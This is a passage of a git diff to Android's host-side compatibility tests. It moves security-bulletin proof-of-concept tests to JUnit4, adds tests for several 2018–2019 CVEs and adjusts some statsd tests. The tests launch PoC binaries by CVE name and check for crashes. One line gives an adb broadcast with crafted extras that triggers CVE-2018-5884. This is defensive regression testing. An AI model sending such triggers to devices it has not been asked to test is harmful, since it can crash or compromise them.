      * Does not require root but must be a hostside test to avoid a race
      * condition
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-05")
     public void testPocCVE_2017_13315() throws Exception {
         getOomCatcher().setHighMemoryTest();
@@ -35,6 +41,7 @@
      * b/73085795
      * Does not require root but must be a hostside test to avoid a race condition
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-05")
     public void testPocCVE_2017_13312() throws Exception {
         getOomCatcher().setHighMemoryTest();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 9278af4..c0aab3b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,44 +17,38 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_06 extends SecurityTestCase {
 
-  /**
-   * CVE-2018-5884
-   */
-  @SecurityTest(minPatchLevel = "2018-06")
-  public void testPocCVE_2018_5884() throws Exception {
-    String wfd_service = AdbUtils.runCommandLine(
-        "pm list package com.qualcomm.wfd.service", getDevice());
-    if (wfd_service.contains("com.qualcomm.wfd.service")) {
-      String result = AdbUtils.runCommandLine(
-          "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
-          getDevice());
-      assertNotMatchesMultiLine("Broadcast completed", result);
+    /**
+     * CVE-2018-5884
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testPocCVE_2018_5884() throws Exception {
+        String wfd_service = AdbUtils.runCommandLine(
+                "pm list package com.qualcomm.wfd.service", getDevice());
+        if (wfd_service.contains("com.qualcomm.wfd.service")) {
+            String result = AdbUtils.runCommandLine(
+                    "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
+            getDevice());
+            assertNotMatchesMultiLine("Broadcast completed", result);
+        }
     }
-  }
-
-  /**
-   * CVE-2018-5892
-   */
-  @SecurityTest(minPatchLevel = "2018-06")
-  public void testPocCVE_2018_5892() throws Exception {
-    String result = AdbUtils.runCommandLine(
-        "pm list package com.emoji.keyboard.touchpal", getDevice());
-    assertFalse(result.contains("com.emoji.keyboard.touchpal"));
-  }
 
     /**
      *  b/73172817
      */
+    @Test
     @SecurityTest
     public void testPocCVE_2018_9344() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2018-9344", getDevice(), 30);
-        String output = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(">>> /vendor/bin/hw/android.hardware.cas@1.0-service <<<" +
-                ".*?signal 11 \\(SIGSEGV\\)", output);
+        AdbUtils.runPocAssertNoCrashes("CVE-2018-9344", getDevice(),
+                "android\\.hardware\\.cas@\\d+?\\.\\d+?-service");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 9595d5a..172f0fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,22 +14,25 @@
  * limitations under the License.
  */
 
-
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_07 extends SecurityTestCase {
 
-    /**
-     * b/76221123
-     */
-     @SecurityTest(minPatchLevel = "2018-07")
-     public void testPocCVE_2018_9424() throws Exception {
-       AdbUtils.runCommandLine("logcat -c" , getDevice());
-       AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
-       String result = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine("Fatal signal", result);
-     }
+   /**
+    * b/76221123
+    */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testPocCVE_2018_9424() throws Exception {
+        AdbUtils.runPocAssertNoCrashes(
+            "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 0423b37..ef5b726 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,13 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_10 extends SecurityTestCase {
 
     /**
      *  b/111641492
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-10")
     public void testPocCVE_2018_9515() throws Exception {
         AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
@@ -40,9 +46,10 @@
     /**
      *  b/111274046
      */
+    @Test
     @SecurityTest
     public void testPocCVE_2018_9490() throws Exception {
-        int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+        int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
         assertTrue(code != 139); // 128 + signal 11
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index 81911ed..0abe1bb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,24 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import static org.junit.Assert.*;
 
-@SecurityTest
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_11 extends SecurityTestCase {
 
     /**
-     *  b/111330641
-     */
-    @SecurityTest(minPatchLevel = "2018-11")
-    public void testPocCVE_2018_9525() throws Exception {
-        assertTrue(AdbUtils.runCommandGetExitCode(
-                "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
-    }
-
-    /**
      *  b/113027383
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-11")
     public void testPocCVE_2018_9539() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 115fad2..5977b4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,18 +17,29 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
-import static org.junit.Assert.assertFalse;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc19_03 extends SecurityTestCase {
     /**
      * b/115739809
      */
+    @Test
     @SecurityTest(minPatchLevel = "2019-03")
     public void testPocBug_115739809() throws Exception {
         assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
+
+    /**
+     * b/116855682
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocCVE_2019_2025() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
new file mode 100644
index 0000000..fd3b638
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -0,0 +1,80 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_05 extends SecurityTestCase {
+
+    /**
+     * b/129556464
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2052() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/129556111
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2045() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /*
+     * b/129556718
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2047() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * CVE-2019-2257
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2257() throws Exception {
+        String result = AdbUtils.runCommandLine(
+                                "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
+        assertFalse(result.contains(
+                            "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
+    }
+
+    /**
+     * b/117555811
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2051() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2051", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
new file mode 100644
index 0000000..67986fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_06 extends SecurityTestCase {
+
+    /**
+     * b/129556445
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-06")
+    public void testPocCVE_2019_2097() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2097", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
new file mode 100644
index 0000000..c2ce29d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_08 extends SecurityTestCase {
+
+    /**
+     * b/129556445
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testPocCVE_2019_2130() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2130", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..a79e2b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_11 extends SecurityTestCase {
+
+    /**
+     * b/138441919
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138441919() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/139806216
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_139806216() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 479f18d..a605358 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -16,34 +16,45 @@
 
 package android.security.cts;
 
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.ddmlib.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
 
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
-import com.android.ddmlib.Log;
 import java.util.concurrent.Callable;
 import java.math.BigInteger;
 
-public class SecurityTestCase extends DeviceTestCase {
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+public class SecurityTestCase extends BaseHostJUnit4Test {
 
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
 
+    protected static final int TIMEOUT_DEFAULT = 60;
+    // account for the poc timer of 5 minutes (+15 seconds for safety)
+    protected static final int TIMEOUT_NONDETERMINISTIC = 315;
+
     private long kernelStartTime;
 
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+    private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
      */
-    @Override
+    @Before
     public void setUp() throws Exception {
-        super.setUp();
-
         getDevice().waitForDeviceAvailable();
         getDevice().disableAdbRoot();
         updateKernelStartTime();
@@ -57,7 +68,7 @@
      * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
      * (due to rounding) of the previous boottime to check if The phone has crashed.
      */
-    @Override
+    @After
     public void tearDown() throws Exception {
         oomCatcher.stop(getDevice().getSerialNumber());
 
@@ -210,4 +221,21 @@
     public HostsideOomCatcher getOomCatcher() {
         return oomCatcher;
     }
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     *  <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      // This will skip the test if MODULE_METADATA mainline module is play managed.
+     *      assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
+     *      // Do testing...
+     *  }
+     *  * </pre>
+     */
+    boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
+        return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
new file mode 100644
index 0000000..c4ae6b5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestMedia extends SecurityTestCase {
+
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for N below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for O below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for P below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+
+    /**
+     * b/112662184
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     **/
+    @SecurityTest(minPatchLevel = "2018-11")
+    @Test
+    public void testPocCVE_2018_9536() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9536", getDevice(), 60);
+    }
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for Q below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
new file mode 100644
index 0000000..6b17058
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostLaunchAnyWhereApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "sts",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 01bb8be..49f7f87 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -32,7 +32,8 @@
 
     test_suites: [
         "cts",
-        "general-tests"
+        "general-tests",
+        "mts",
     ],
 }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index f38bf33..5b5711c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -66,6 +66,7 @@
 import java.util.List;
 import java.util.Set;
 import java.util.function.Function;
+import java.util.stream.Collectors;
 
 /**
  * Base class for testing Statsd atoms.
@@ -239,6 +240,16 @@
     }
 
     /**
+     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+     */
+    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+            ConfigMetricsReportList configMetricsReportList) {
+        return configMetricsReportList.getReportsList().stream()
+                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+                .collect(Collectors.toList());
+    }
+
+    /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
      * contain a single report).
      */
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 25b27e8..045b4a1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -17,7 +17,6 @@
 
 import android.net.wifi.WifiModeEnum;
 import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
 import android.server.ErrorSource;
 
 import com.android.internal.os.StatsdConfigProto.FieldMatcher;
@@ -33,7 +32,6 @@
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
 import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.CpuActiveTime;
 import com.android.os.AtomsProto.DangerousPermissionState;
 import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
 import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -368,42 +366,6 @@
         assertTrue("found uid " + uid, found);
     }
 
-    @RestrictedBuildTest
-    public void testCpuActiveTime() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(CpuActiveTime.UID_FIELD_NUMBER));
-        addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        boolean found = false;
-        int uid = getUid();
-        long timeSpent = 0;
-        for (Atom atom : atomList) {
-            if (atom.getCpuActiveTime().getUid() == uid) {
-                found = true;
-                timeSpent += atom.getCpuActiveTime().getTimeMillis();
-            }
-        }
-        assertTrue(timeSpent > 0);
-        assertTrue("found uid " + uid, found);
-    }
-
     public void testDeviceCalculatedPowerUse() throws Exception {
         if (statsdDisabled()) {
             return;
@@ -1104,8 +1066,9 @@
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
             Thread.sleep(WAIT_TIME_SHORT);
-            // Trigger new pull.
+            // Trigger a pull and wait for new pull before killing the process.
             setAppBreadcrumbPredicate();
+            Thread.sleep(WAIT_TIME_LONG);
         }
 
         // Assert about ProcessMemoryState for the test app.
@@ -1145,6 +1108,7 @@
 
         // Trigger new pull.
         setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_LONG);
 
         // Assert about NativeProcessMemoryState for statsd.
         List<Atom> atoms = getGaugeMetricDataList();
@@ -1181,8 +1145,8 @@
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
             setAppBreadcrumbPredicate();
+            Thread.sleep(WAIT_TIME_LONG);
         }
-        Thread.sleep(WAIT_TIME_SHORT);
 
         // Assert about ProcessMemoryHighWaterMark for the test app, statsd and system server.
         List<Atom> atoms = getGaugeMetricDataList();
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index fc069b1..803dd2e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -32,6 +32,8 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.log.LogUtil;
 
+import java.util.List;
+
 /**
  * Test Statsd Metric activations and deactivations
  */
@@ -226,8 +228,8 @@
         Thread.sleep(10L);
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(1, reportList.getReportsCount());
-        ConfigMetricsReport report = reportList.getReports(0);
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 4, 0, 1);
     }
 
@@ -371,18 +373,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 1, 0, 1);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 3, 4);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 2, 2, 3);
     }
 
@@ -506,18 +509,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 3, 0, 3);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 2, 3);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 0, 0, 1);
     }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 6c5de5a..90a7f6e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
